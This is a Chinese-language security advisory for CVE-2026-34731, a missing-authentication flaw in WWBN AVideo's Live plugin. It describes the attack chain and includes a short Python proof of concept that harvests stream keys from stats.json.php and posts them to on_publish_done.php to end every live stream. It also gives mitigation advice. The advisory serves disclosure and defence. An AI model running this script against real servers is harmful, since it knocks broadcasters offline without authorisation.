IPBUF安全漏洞报告
English
CVE-2026-34731 CVSS 7.5 高危

CVE-2026-34731 AVideo直播流未授权拒绝服务漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34731
漏洞类型
权限绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

权限绕过拒绝服务WWBN AVideo未授权访问

漏洞概述

WWBN AVideo 26.0及更早版本中Live插件的on_publish_done.php端点存在权限缺失漏洞。未经身份验证的攻击者可利用该漏洞枚举活跃流密钥并强制终止任意直播,导致平台拒绝服务。

技术细节

该漏洞位于Live插件的RTMP回调处理逻辑中。由于on_publish_done.php端点在处理直播结束标记时未验证请求来源的身份或权限,攻击者可先访问未授权的stats.json.php接口获取当前活跃的Stream Key,随后伪造RTMP回调数据包向on_publish_done.php发送POST请求。服务器接收后将错误地在数据库中将对应流标记为“已结束”,从而强制切断直播连接。整个过程无需用户交互,可批量中断所有直播。

攻击链分析

STEP 1
信息收集
攻击者访问未授权的stats.json.php端点,获取当前活跃的直播流密钥。
STEP 2
构造请求
利用获取的流密钥,构造包含name参数的POST请求,目标指向on_publish_done.php。
STEP 3
执行攻击
向服务器发送伪造的请求,由于缺乏认证校验,服务器接受指令并更新数据库状态。
STEP 4
影响达成
直播流被系统强制标记为结束,用户连接断开,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target = "http://example.com/avideo" # 1. Enumerate active streams stats_url = f"{target}/plugin/Live/stats.json.php" try: resp = requests.get(stats_url) # Assuming response contains a list of streams with 'key' field streams = resp.json() # Extract keys based on actual structure (example logic) keys = [s['key'] for s in streams.get('live', [])] except Exception as e: print(f"Enumeration failed: {e}") keys = [] # 2. Terminate streams kill_url = f"{target}/plugin/Live/on_publish_done.php" for key in keys: payload = { "name": key # The parameter expected by the vulnerable endpoint } print(f"Terminating stream: {key}") requests.post(kill_url, data=payload)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议通过Web应用防火墙(WAF)拦截对stats.json.php和on_publish_done.php的外部访问,或仅允许流媒体服务器的IP地址访问RTMP回调接口,直至官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表